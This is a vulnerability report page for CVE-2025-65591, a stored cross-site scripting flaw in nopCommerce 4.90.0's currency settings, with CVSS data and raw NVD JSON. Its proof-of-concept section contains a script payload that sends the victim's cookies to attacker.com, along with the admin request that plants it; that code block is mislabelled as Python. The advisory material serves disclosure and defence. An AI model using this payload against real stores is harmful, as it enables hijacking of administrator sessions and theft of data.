Security Vulnerability Report
中文
CVE-2025-65591 CVSS 5.4 MEDIUM

CVE-2025-65591

Published: 2025-12-16 19:15:59
Last Modified: 2025-12-19 16:41:52

Description

nopCommerce 4.90.0 is vulnerable to Cross Site Scripting (XSS) via the Currencies functionality.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nopcommerce:nopcommerce:4.90.0:*:*:*:*:*:*:* - VULNERABLE
nopCommerce 4.90.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-65591 PoC - Stored XSS in nopCommerce Currencies // Author: Security Researcher // Target: nopCommerce 4.90.0 // Step 1: Login to nopCommerce with low-privilege account // Step 2: Navigate to Administration > Configuration > Currencies // Step 3: Add new currency with malicious name const maliciousPayload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>'; // Example HTTP Request to create currency with XSS payload const createCurrencyRequest = { method: 'POST', url: '/Admin/Currency/Create', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': 'NOP.AntiForgery=true; NOP.Session=your_session' }, body: 'Currency.Name=' + encodeURIComponent(maliciousPayload) + '&Currency.CurrencyCode=USD&Currency.Rate=1.0&Currency.IsPrimaryCurrency=true' }; // Step 4: When admin views currency list, XSS payload executes // Steals admin cookies/session tokens console.log('XSS Payload injected in currency name field');

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65591", "sourceIdentifier": "[email protected]", "published": "2025-12-16T19:15:58.850", "lastModified": "2025-12-19T16:41:52.380", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "nopCommerce 4.90.0 is vulnerable to Cross Site Scripting (XSS) via the Currencies functionality."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nopcommerce:nopcommerce:4.90.0:*:*:*:*:*:*:*", "matchCriteriaId": "1FC64557-EDFD-4460-8793-8C452638D782"}]}]}], "references": [{"url": "https://seclists.org/fulldisclosure/2025/Dec/18", "source": "[email protected]", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "https://www.nopcommerce.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "http://seclists.org/fulldisclosure/2025/Dec/18", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}